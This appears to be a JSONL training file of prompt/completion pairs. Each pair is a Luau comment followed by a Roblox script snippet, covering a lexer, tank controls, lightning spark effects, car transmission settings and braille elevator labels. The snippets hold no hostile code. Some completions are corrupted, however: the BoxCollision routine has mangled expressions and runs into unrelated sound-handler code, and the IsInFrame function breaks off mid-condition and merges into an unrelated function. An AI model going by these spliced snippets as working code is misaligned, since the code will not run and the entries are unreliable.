self._stack[#self._stack][TestEnum.NodeType.AfterAll]\nend\n\nfunction LifecycleHooks:_getHooksOfType(nodes, key)\n\tlocal hooks = {}\n\n\tfor _, node in ipairs(nodes) do\n\t\tif node.type == key then\n\t\t\ttable.insert(hooks, node.callback)\n\t\tend\n\tend\n\n\treturn hooks\nend\n\nreturn LifecycleHooks\n"} +{"prompt": "--// Services", "completion": "\nlocal L_95_ = game:GetService('RunService').RenderStepped\nlocal L_96_ = game:GetService('UserInputService')\n"} +{"prompt": "--[[\n\tAssert that our expectation value is truthy\n]]", "completion": "\nfunction Expectation:ok()\n\tlocal result = (self.value ~= nil) == self.successCondition\n\n\tlocal message = formatMessage(self.successCondition,\n\t\t(\"Expected value %q to be non-nil\"):format(\n\t\t\ttostring(self.value)\n\t\t),\n\t\t(\"Expected value %q to be nil\"):format(\n\t\t\ttostring(self.value)\n\t\t)\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal BLAST_RADIUS = 6\nlocal BLAST_PRESSURE = 750000\n"} +{"prompt": "------------------------------------------------------------------------\n-- main lexer function\n------------------------------------------------------------------------", "completion": "\nfunction luaX:llex(ls, Token)\n ls.buff = \"\"\n while true do\n local c = ls.current\n ----------------------------------------------------------------\n if self:currIsNewline(ls) then\n self:inclinenumber(ls)\n ----------------------------------------------------------------\n elseif c == \"-\" then\n c = self:nextc(ls)\n if c ~= \"-\" then return \"-\" end\n -- else is a comment\n local sep = -1\n if self:nextc(ls) == '[' then\n sep = self:skip_sep(ls)\n ls.buff = \"\" -- 'skip_sep' may dirty the buffer\n end\n if sep >= 0 then\n self:read_long_string(ls, nil, sep) -- long comment\n ls.buff = \"\"\n else -- else short comment\n while not self:currIsNewline(ls) and ls.current ~= \"EOZ\" do\n self:nextc(ls)\n end\n end\n ----------------------------------------------------------------\n elseif c == \"[\" then\n local sep = self:skip_sep(ls)\n if sep >= 0 then\n self:read_long_string(ls, Token, sep)\n return \"TK_STRING\"\n elseif sep == -1 then\n return \"[\"\n else\n self:lexerror(ls, \"invalid long string delimiter\", \"TK_STRING\")\n end\n ----------------------------------------------------------------\n elseif c == \"=\" then\n c = self:nextc(ls)\n if c ~= \"=\" then return \"=\"\n else self:nextc(ls); return \"TK_EQ\" end\n ----------------------------------------------------------------\n elseif c == \"<\" then\n c = self:nextc(ls)\n if c ~= \"=\" then return \"<\"\n else self:nextc(ls); return \"TK_LE\" end\n ----------------------------------------------------------------\n elseif c == \">\" then\n c = self:nextc(ls)\n if c ~= \"=\" then return \">\"\n else self:nextc(ls); return \"TK_GE\" end\n ----------------------------------------------------------------\n elseif c == \"~\" then\n c = self:nextc(ls)\n if c ~= \"=\" then return \"~\"\n else self:nextc(ls); return \"TK_NE\" end\n ----------------------------------------------------------------\n elseif c == \"\\\"\" or c == \"'\" then\n self:read_string(ls, c, Token)\n return \"TK_STRING\"\n ----------------------------------------------------------------\n elseif c == \".\" then\n c = self:save_and_next(ls)\n if self:check_next(ls, \".\") then\n if self:check_next(ls, \".\") then\n return \"TK_DOTS\" -- ...\n else return \"TK_CONCAT\" -- ..\n end\n elseif not string.find(c, \"%d\") then\n return \".\"\n else\n self:read_numeral(ls, Token)\n return \"TK_NUMBER\"\n end\n ----------------------------------------------------------------\n elseif c == \"EOZ\" then\n return \"TK_EOS\"\n ----------------------------------------------------------------\n else -- default\n if string.find(c, \"%s\") then\n -- lua_assert(self:currIsNewline(ls))\n self:nextc(ls)\n elseif string.find(c, \"%d\") then\n self:read_numeral(ls, Token)\n return \"TK_NUMBER\"\n elseif string.find(c, \"[_%a]\") then\n -- identifier or reserved word\n repeat\n c = self:save_and_next(ls)\n until c == \"EOZ\" or not string.find(c, \"[_%w]\")\n local ts = ls.buff\n local tok = self.enums[ts]\n if tok then return tok end -- reserved word?\n Token.seminfo = ts\n return \"TK_NAME\"\n else\n self:nextc(ls)\n return c -- single-char tokens (+ - / ...)\n end\n ----------------------------------------------------------------\n end--if c\n end--while\nend\n\nreturn luaX\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal sDied = newSound(\"rbxasset://sounds/uuhhh.wav\")\nlocal sFallingDown = newSound(\"rbxasset://sounds/splat.wav\")\nlocal sFreeFalling = newSound(\"rbxasset://sounds/swoosh.wav\")\nlocal sGettingUp = newSound(\"rbxasset://sounds/hit.wav\")\nlocal sJumping = newSound(\"rbxasset://sounds/button.wav\")\nlocal sRunning = newSound(\"rbxasset://sounds/bfsl-minifigfoots1.mp3\")\nsRunning.Looped = true\n\nlocal Figure = script.Parent\nlocal Head = waitForChild(Figure, \"Head\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseOcclusion = {}\nBaseOcclusion.__index = BaseOcclusion\nsetmetatable(BaseOcclusion, {\n\t__call = function(_, ...)\n\t\treturn BaseOcclusion.new(...)\n\tend\n})\n\nfunction BaseOcclusion.new()\n\tlocal self = setmetatable({}, BaseOcclusion)\n\treturn self\nend\n"} +{"prompt": "-- Player's tank GUI", "completion": "\nGUI = script.Parent.Parent.Parent.PlayerGui.TankGUI;\nGUI.HP.Hitpoints.Text = parts.Parent:findFirstChild(\"Damage\").Value\n\nlocal Hull = parts.Parent:findFirstChild(\"Damage\")\n\nif Hull.Value<0 then\n\tGUI.HP.Hitpoints.Text = \"DISABLED\"\nend\n\n\t\nlocal MGDamage = math.random(35,45)\n\n\nbraking = false;\nfiringMg = false;\nreloading = false;\ncurrRound = tankStats.Round; -- Current loaded ammo (AP/HE)\n\n\nmyMouse = nil;\n\nfunction updateAmmo()\n\tGUI.Ammo.Text = \"Cannon Ammo = \" .. tankStats[tankStats.Round.Value .. \"Ammo\"].Value;\n\tGUI.MG_Ammo.Text = tankStats.MGAmmo.Value;\n\tGUI.HP.Hitpoints.Text = parts.Parent:findFirstChild(\"Damage\").Value\nend\n\n\nfunction Brakes()\n\tfor i = 1, 5 do\n\tparts.Engine.BodyVelocity.Velocity = Vector3.new(0,0,0)\n\tprint(\"Brakes activated\")\n\tend\nend\n\n"} +{"prompt": "-- VARIABLES --", "completion": "\nlocal Player = Players.LocalPlayer\nlocal Character\nlocal Humanoid\nlocal HRP\nlocal Tool = script.Parent\n\nlocal attackRemote = script:WaitForChild(\"Attack\")\nlocal Equipped = script:WaitForChild(\"Equipped\")\n"} +{"prompt": "--[[\n\t\n\tUSAGE EXAMPLE:\n\t\n\t\t--------\n\t\tlocal dataStoreService = game:GetService(\"DataStoreService\")\n\t\t\n\t\t-- Mock service if the game is offline:\n\t\tif (game.PlaceId == 0) then\n\t\t\tdataStoreService = require(game.ServerStorage.MockDataStoreService)\n\t\tend\n\t\t\n\t\t-- dataStoreService will act exactly like the real one\n\t\t--------\n\t\n\tThe mocked data store service should function exactly like the\n\treal service. What the mocked service does is \"override\" the\n\tcore methods, such as GetAsync. If you try to index a property\n\tthat hasn't been overridden (such as dataStoreService.Name), it\n\twill reference the actual property in the real dataStoreService.\n\t\n\tNOTE:\n\t\tThis has been created based off of the DataStoreService on\n\t\tAugust 20, 2014. If a change has been made to the service,\n\t\tthis mocked version will not reflect the changes.\n\t\n--]]", "completion": "\n\n\n\nlocal DataStoreService = {}\nlocal API = {}\nlocal MT = {}\n\n"} +{"prompt": "--There's a reason why this hasn't been done before by ROBLOX users (as far as I know)\n--It's really mathy, really long, and really confusing.\n--0.000033 seconds is the worst, 0.000018 looks like the average case.\n--Also I ran out of local variables so I had to redo everything so that I could reuse the names lol.\n--So don't even try to read it.", "completion": "\nlocal BoxCollision do\n\tlocal components=CFrame.new().components\n\tfunction BoxCollision(CFrame0,Size0,CFrame1,Size1,AssumeTrue)\n\t\tlocal\tm00,m01,m02,\n\t\t\t\tm03,m04,m05,\n\t\t\t\tm06,m07,m08,\n\t\t\t\tm09,m10,m11\t=components(CFrame0)\n\t\tlocal\tm12,m13,m14,\n\t\t\t\tm15,m16,m17,\n\t\t\t\tm18,m19,m20,\n\t\t\t\tm21,m22,m23\t=components(CFrame1)\n\t\tlocal\tm24,m25,m26\t=Size0.x/2,Size0.y/2,Size0.z/2\n\t\tlocal\tm27,m28,m29\t=Size1.x/2,Size1.y/2,Size1.z/2\n\t\tlocal\tm30,m31,m32\t=m12-m00,m13-m01,m14-m02\n\t\tlocal\tm00\t\t\t=m03*m30+m06*m31+m09*m32\n\t\tlocal\tm01\t\t\t=m04*m30+m07*m31+m10*m32\n\t\tlocal\tm02\t\t\t=m05*m30+m08*m31+m11*m32\n\t\tlocal\tm12\t\t\t=m15*m30+m18*m31+m21*m32\n\t\tlocal\tm13\t\t\t=m16*m30+m19*m31+m22*m32\n\t\tlocal\tm14\t\t\t=m17*m30+m20*m31+m23*m32\n\t\tlocal\tm30\t\t\t=m12>m27 and m12-m27\n\t\t\t\t\t\t\tor m12<-m27 and m12+m27\n\t\t\t\t\t\t\tor 0\n\t\tlocal\tm31\t\t\t=m13>m28 and m13-m28\n\t\t\t\t\t\t\tor m13<-m28 and m13+m28\n\t\t\t\t\t\t\tor 0\n\t\tlocal\tm32\t\t\t=m14>m29 and m14-m29\n\t\t\t\t\t\t\tor m14<-m29 and m14+m29\n\t\t\t\t\t\t\tor 0\n\t\tlocal\tm33\t\t\t=m00>m24 and m00-m24\n\t\t\t\t\t\t\tor m00<-m24 and m00+m24\n\t\t\t\t\t\t\tor 0\n\t\tlocal\tm34\t\t\t=m01>m25 and m01-m25\n\t\t\t\t\t\t\tor m01<-m25 and m01+m25\n\t\t\t\t\t\t\tor 0\n\t\tlocal\tm35\t\t\t=m02>m26 and m02-m26\n\t\t\t\t\t\t\tor m02<-m26 and m02+m26\n\t\t\t\t\t\t\tor 0\n\t\tlocal\tm36\t\t\t=m30*m30+m31*m31+m32*m32\n\t\tlocal\tm30\t\t\t=m33*m33+m34*m34+m35*m35\n\t\tlocal\tm31\t\t\t=m24m24*m24+m25*m25+m26*m26 or m30>m27*m27+m28*m28+m29*m29 then\n\t\t\treturn false\n\t\telseif AssumeTrue==nil then\n\t\t\t--LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL\n\t\t\t--(This is how you tell if something was made by Axis Angle)\n\t\t\tlocal m30=m03*m15+m06*m18+m09*m21\n\t\t\tlocal m31=m03*m16+m06*m19+m09*m22\n\t\t\tlocal m32=m03*m17+m06*m20+m09*m23\n\t\t\tlocal m03=m04*m15+m07*m18+m10*m21\n\t\t\tlocal m06=m04*m16+m07*m19+m10*m22\n\t\t\tlocal m09=m04*m17+m07*m20+m10*m23\n\t\t\tlocal m04=m05*m15+m08*m18+m11*m21\n\t\t\tlocal m07=m05*m16+m08*m19+m11*m22\n\t\t\tlocal m10=m05*m17+m08*m20+m11*m23\n\t\t\tlocal m05=m29*m29\n\t\t\tlocal m08=m27*m27\n\t\t\tlocal m11=m28*m28\n\t\t\tlocal m15=m24*m30\n\t\t\tlocal m16=m25*m03\n\t\t\tlocal m17=m26*m04\n\t\t\tlocal m18=m24*m31\n\t\t\tlocal m19=m25*m06\n\t\t\tlocal m20=m26*m07\n\t\t\tlocal m21=m24*m32\n\t\t\tlocal m22=m25*m09\n\t\t\tlocal m23=m26*m10\n\t\t\tlocal m33=m15+m16+m17-m12;if m33*m33 0.1) then\n\t\tlocal vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110))\n\t\tsLanding.Volume = vol\n\t\tsLanding:Play()\n\t\tfallSpeed = 0\n\tend\n\tif speed>0.5 then\n\t\tsRunning:Play()\n\t\tsRunning.Pitch = 1.6\n\telse\n\t\tsRunning:Stop()\n\tend\n\tprevState = \"Run\"\nend\n\nfunction onSwimming(speed)\n\tif (prevState ~= \"Swim\" and speed > 0.1) then\n\t\tlocal volume = math.min(1.0, speed / 350)\n\t\tsSplash.Volume = volume\n\t\tsSplash:Play()\n\t\tprevState = \"Swim\"\n\tend\n\tsClimbing:Stop()\n\tsRunning:Stop()\n\tsSwimming.Pitch = 1.6\n\tsSwimming:Play()\nend\n\nfunction onClimbing(speed)\n\tsRunning:Stop()\n\tsSwimming:Stop()\t\n\tif speed>0.01 then\n\t\tsClimbing:Play()\n\t\tsClimbing.Pitch = speed / 5.5\n\telse\n\t\tsClimbing:Stop()\n\tend\n\tprevState = \"Climb\"\nend"} +{"prompt": "-- Disconnect all handlers. Since we use a linked list it suffices to clear the\n-- reference to the head handler.\n--[=[\n\tDisconnects all connections from the signal.\n\t```lua\n\tsignal:DisconnectAll()\n\t```\n]=]", "completion": "\nfunction Signal:DisconnectAll()\n\tlocal item = self._handlerListHead\n\twhile item do\n\t\titem.Connected = false\n\t\titem = item._next\n\tend\n\tself._handlerListHead = false\nend\n"} +{"prompt": "--frame:WaitForChild(\"Listen\").MouseButton1Click:connect(function()", "completion": "\n\t--local input = tonumber(frame:WaitForChild(\"Input\").Text)\n\t--if input then\n\t\t--sound:Stop()\n\t\t--sound.SoundId=Format:gsub(\"##ID##\", tostring(input))\n\t\t--sound:Play()\n\t--end"} +{"prompt": "--Adds sparks effect to a Lightning Bolt", "completion": "\nlocal LightningBolt = require(script.Parent)\n\nlocal ActiveSparks = {}\n\n\nlocal rng = Random.new()\nlocal LightningSparks = {}\nLightningSparks.__index = LightningSparks\n\nfunction LightningSparks.new(LightningBolt, MaxSparkCount)\n\tlocal self = setmetatable({}, LightningSparks)\n\t\n\t--Main (default) properties--\n\t\n\t\tself.Enabled = true --Stops spawning sparks when false\n\t\tself.LightningBolt = LightningBolt --Bolt which sparks fly out of\n\t\tself.MaxSparkCount = MaxSparkCount or 10 --Max number of sparks visible at any given instance\n\t\tself.MinSpeed, self.MaxSpeed = 4, 6 --Min and max PulseSpeeds of sparks\n\t\tself.MinDistance, self.MaxDistance = 3, 6 --Governs how far sparks travel away from main bolt\n\t\tself.MinPartsPerSpark, self.MaxPartsPerSpark = 8, 10 --Adjustable\n\t\n\t--\n\t\n\tself.SparksN = 0\n\tself.SlotTable = {}\n\tself.RefIndex = #ActiveSparks + 1\n\t\n\tActiveSparks[self.RefIndex] = self\n\t\n\treturn self\nend\n\nfunction LightningSparks:Destroy()\n\tActiveSparks[self.RefIndex] = nil\n\t\n\tfor i, v in pairs(self.SlotTable) do\n\t\tif v.Parts[1].Parent == nil then\n\t\t\tself.SlotTable[i] = nil --Removes reference to prevent memory leak\n\t\tend\n\tend\n\t\n\tself = nil\nend\n\nfunction RandomVectorOffset(v, maxAngle) --returns uniformly-distributed random unit vector no more than maxAngle radians away from v\n return (CFrame.lookAt(Vector3.new(), v)*CFrame.Angles(0, 0, rng:NextNumber(0, 2*math.pi))*CFrame.Angles(math.acos(rng:NextNumber(math.cos(maxAngle), 1)), 0, 0)).LookVector\nend \n\ngame:GetService(\"RunService\").Heartbeat:Connect(function ()\n\t\n\tfor _, ThisSpark in pairs(ActiveSparks) do\n\t\t\n\t\tif ThisSpark.Enabled == true and ThisSpark.SparksN < ThisSpark.MaxSparkCount then\n\t\t\t\n\t\t\tlocal Bolt = ThisSpark.LightningBolt\n\t\t\t\n\t\t\tif Bolt.Parts[1] == nil or Bolt.Parts[1].Parent == nil then\n\t\t\t\tThisSpark:Destroy()\n\t\t\t\treturn \n\t\t\tend\n\t\t\t\n\t\t\tlocal BoltParts = Bolt.Parts\n\t\t\tlocal BoltPartsN = #BoltParts\n\t\t\t\t\n\t\t\tlocal opaque_parts = {}\n\t\t\t\n\t\t\tfor part_i = 1, #BoltParts do --Fill opaque_parts table\n\t\t\t\t\n\t\t\t\tif BoltParts[part_i].Transparency < 0.3 then --minimum opacity required to be able to generate a spark there\n\t\t\t\t\topaque_parts[#opaque_parts + 1] = (part_i - 0.5) / BoltPartsN\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\n\t\t\t\n\t\t\tlocal minSlot, maxSlot \n\t\t\t\n\t\t\tif #opaque_parts ~= 0 then\n\t\t\t\tminSlot, maxSlot = math.ceil(opaque_parts[1]*ThisSpark.MaxSparkCount), math.ceil(opaque_parts[#opaque_parts]*ThisSpark.MaxSparkCount)\n\t\t\tend\n\t\t\t\n\t\t\tfor _ = 1, rng:NextInteger(1, ThisSpark.MaxSparkCount - ThisSpark.SparksN) do\n\t\t\t\t\n\t\t\t\tif #opaque_parts == 0 then break end\n\t\t\t\t\n\t\t\t\tlocal available_slots = {}\n\t\t\t\t\n\t\t\t\tfor slot_i = minSlot, maxSlot do --Fill available_slots table\n\t\t\t\t\t\n\t\t\t\t\tif ThisSpark.SlotTable[slot_i] == nil then --check slot doesn't have existing spark\n\t\t\t\t\t\tavailable_slots[#available_slots + 1] = slot_i\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif #available_slots ~= 0 then \n\t\t\t\t\t\n\t\t\t\t\tlocal ChosenSlot = available_slots[rng:NextInteger(1, #available_slots)]\n\t\t\t\t\tlocal localTrng = rng:NextNumber(-0.5, 0.5)\n\t\t\t\t\tlocal ChosenT = (ChosenSlot - 0.5 + localTrng)/ThisSpark.MaxSparkCount\n\t\t\t\t\t\n\t\t\t\t\tlocal dist, ChosenPart = 10, 1\n\t\t\t\t\t\n\t\t\t\t\tfor opaque_i = 1, #opaque_parts do\n\t\t\t\t\t\tlocal testdist = math.abs(opaque_parts[opaque_i] - ChosenT)\n\t\t\t\t\t\tif testdist < dist then\n\t\t\t\t\t\t\tdist, ChosenPart = testdist, math.floor((opaque_parts[opaque_i]*BoltPartsN + 0.5) + 0.5)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlocal Part = BoltParts[ChosenPart]\n\t\t\t\t\t\n\t\t\t\t\t--Make new spark--\n\t\t\t\t\t\n\t\t\t\t\tlocal A1, A2 = {}, {}\n\t\t\t\t\tA1.WorldPosition = Part.CFrame.Position + localTrng*Part.CFrame.UpVector*Part.Size.Y\n\t\t\t\t\tA2.WorldPosition = A1.WorldPosition + RandomVectorOffset(Part.CFrame.UpVector, math.pi/4)*rng:NextNumber(ThisSpark.MinDistance, ThisSpark.MaxDistance)\n\t\t\t\t\tA1.WorldAxis = (A2.WorldPosition - A1.WorldPosition).Unit\n\t\t\t\t\tA2.WorldAxis = A1.WorldAxis\n\t\t\t\t\tlocal NewSpark = LightningBolt.new(A1, A2, rng:NextInteger(ThisSpark.MinPartsPerSpark, ThisSpark.MaxPartsPerSpark))\n\t\t\t\t\t\n\t\t\t\t\t--NewSpark.MaxAngleOffset = math.rad(70)\n\t\t\t\t\tNewSpark.MinRadius, NewSpark.MaxRadius = 0, 0.8\n\t\t\t\t\tNewSpark.AnimationSpeed = 0\n\t\t\t\t\tNewSpark.Thickness = Part.Size.X / 1.2\n\t\t\t\t\tNewSpark.MinThicknessMultiplier, NewSpark.MaxThicknessMultiplier = 1, 1\n\t\t\t\t\tNewSpark.PulseLength = 0.5\n\t\t\t\t\tNewSpark.PulseSpeed = rng:NextNumber(ThisSpark.MinSpeed, ThisSpark.MaxSpeed)\n\t\t\t\t\tNewSpark.FadeLength = 0.25\n\t\t\t\t\tlocal cH, cS, cV = Color3.toHSV(Part.Color3)\n\t\t\t\t\tNewSpark.Color = Color3.fromHSV(cH, 0.5, cV)\n\t\t\t\t\t\n\t\t\t\t\tThisSpark.SlotTable[ChosenSlot] = NewSpark\n\t\t\t\t\t\n\t\t\t\t\t--\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\t\t\n\t\t\n\t\t--Update SparksN--\n\t\t\n\t\tlocal slotsInUse = 0\n\t\t\n\t\tfor i, v in pairs(ThisSpark.SlotTable) do\n\t\t\tif v.Parts[1].Parent ~= nil then\n\t\t\t\tslotsInUse = slotsInUse + 1\n\t\t\telse\n\t\t\t\tThisSpark.SlotTable[i] = nil --Removes reference to prevent memory leak\n\t\t\tend\n\t\tend\n\t\t\n\t\tThisSpark.SparksN = slotsInUse\n\t\t\n\t\t--\n\tend\n\t\nend)\n\nreturn LightningSparks\n"} +{"prompt": "-- SERVICES --", "completion": "\nlocal TS = game:GetService(\"TweenService\")\nlocal CS = game:GetService(\"CollectionService\")\nlocal RS = game:GetService(\"ReplicatedStorage\")\nlocal PS = game:GetService(\"PhysicsService\")\nlocal UIS = game:GetService(\"UserInputService\")\nlocal Players = game:GetService(\"Players\")\n"} +{"prompt": "--Private functions", "completion": "\nlocal function IsInFrame(v)\n\n\tlocal X = Mouse.X\n\tlocal Y = Mouse.Y\n\n\tif X>v.AbsolutePosition.X and Y>v.AbsolutePosition.Y and X(item: PubTypes.CanBeState, useDependency: boolean?): T\n\treturn if xtypeof(item) == \"State\" then (item :: PubTypes.StateObject):get(useDependency) else (item :: T)\nend\n\nreturn unwrap\n"} +{"prompt": "--Note this must be used with the accompanying weld script\n--This is an edited version of my V3 KeyCommand Script.\n--Heavily edited from a free model crouch script, ~ukwarrior6~", "completion": "\n"} +{"prompt": "-- BrailleGen 3D BETA", "completion": "\n\nAlign = true\n\nThis = script.Parent\nBtn = This.Parent\nLift = Btn.Parent.Parent.Parent\nConfig = require(Lift.Settings)\nCharacters = require(script.Characters)\n\nCustomLabel = Config[\"CUSTOMFLOORLABEL\"][tonumber(Btn.Name:sub(4))]\n\nfunction ChangeFloor(SF)\n\tif Align == true then\n\t\tif string.len(SF) == 1 then\n\t\t\tSetLabel(1,SF,0.045)\t\n\t\t\tSetLabel(2,\"NIL\",0)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 2 then\n\t\t\tSetLabel(1,SF:sub(1,1),0.03)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0.03)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 3 then\n\t\t\tSetLabel(1,SF:sub(1,1),0.015)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0.015)\n\t\t\tSetLabel(3,SF:sub(3,3),0.015)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 4 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,SF:sub(3,3),0)\n\t\t\tSetLabel(4,SF:sub(4,4),0)\n\t\tend\n\telse\n\t\tif string.len(SF) == 1 then\n\t\t\tSetLabel(1,SF,0)\t\n\t\t\tSetLabel(2,\"NIL\",0)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 2 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 3 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,SF:sub(3,3),0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 4 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,SF:sub(3,3),0)\n\t\t\tSetLabel(4,SF:sub(4,4),0)\n\t\tend\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"BR\"..ID) and Characters[CHAR] ~= nil then\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"BR\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\t\tif CHAR == \"A\" or CHAR == \"1\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.014)\n\t\telseif CHAR == \"B\" or CHAR == \"2\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.006)\n\t\telseif CHAR == \"C\" or CHAR == \"3\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.014)\n\t\telseif CHAR == \"D\" or CHAR == \"4\" or CHAR == \"E\" or CHAR == \"5\" or CHAR == \"F\" or CHAR == \"6\" or CHAR == \"G\" or CHAR == \"7\" or CHAR == \"H\" or CHAR == \"8\" or CHAR == \"I\" or CHAR == \"9\" or CHAR == \"J\" or CHAR == \"0\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.006)\n\t\telseif CHAR == \"K\" or CHAR == \"L\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, 0)\n\t\telseif CHAR == \".\" or CHAR == \"+\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)\n\t\telseif CHAR == \"-\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.014)\n\t\telseif CHAR == \";\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)\n\t\telseif CHAR == \"*\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET+0.006, 0, 0)\n\t\telse\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0)\n\t\tend\n\tend\nend\n\n\nif CustomLabel then\n\tif string.find(string.sub(CustomLabel,1,1), \"%d\") ~= nil then \n\t\tif string.len(CustomLabel) == 1 then ChangeFloor(\"$\"..CustomLabel)\n\t\telseif string.find(string.sub(CustomLabel,2,2), \"%a\") ~= nil then ChangeFloor(\"$\"..string.sub(CustomLabel,1,1)..\";\"..string.sub(CustomLabel,2,2))\n\t\telse ChangeFloor(\"$\"..CustomLabel)\n\t\tend\n\telseif string.find(CustomLabel, \"%d\") == nil then\n\t\tif string.len(CustomLabel) == 1 then ChangeFloor(\";\"..CustomLabel)\n\t\telseif string.find(string.sub(CustomLabel,2,2), \"%d\") ~= nil then ChangeFloor(\";\"..string.sub(CustomLabel,1,1)..\"$\"..string.sub(CustomLabel,2,2))\n\t\telse ChangeFloor(\";\"..CustomLabel)\n\t\tend\n\telse \n\t\tChangeFloor(string.sub(CustomLabel,1,1)..\"$\"..string.sub(CustomLabel,2,2))\n\tend\nelse\n\tChangeFloor(\"$\"..Btn.Name:sub(4))\nend\n\nscript:Destroy()\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\tCharm = {\n\t\tcanDrop = true, \n\t\tdropWeight = 50, \n\t\tisUnique = false, \n\t\ttiers = { {\n\t\t\t\ttitle = \"Charm\", \n\t\t\t\tdesc = \"Increases your chances of getting a Bonus while equipped\", \n\t\t\t\tvalue = 1.2\n\t\t\t} }\n\t}\n};\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t4.35\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t3.65\t\t,\n\t\t--[[ 3 ]]\t\t2.64\t\t,\t\t\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal SHOT_SPEED = 500\nlocal SHOT_TIME = math.huge\n\nlocal NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)\n"} +{"prompt": "-- Services", "completion": "\nlocal inputService = game:GetService(\"UserInputService\")\nlocal playerService = game:GetService(\"Players\")\n"} +{"prompt": "-- END OF INSTALLATION", "completion": "\n\nprint(\"DOORS \ud83d\udc41\ufe0f Sound Pack: Done!\")\nscript:Destroy()\n"} +{"prompt": "-- OFFSET HANDLERS", "completion": "\nlocal alignmentDetails = {}\nalignmentDetails[\"left\"] = {\n\tstartScale = 0,\n\tgetOffset = function()\n\t\tlocal offset = 48 + IconController.leftOffset\n\t\tif 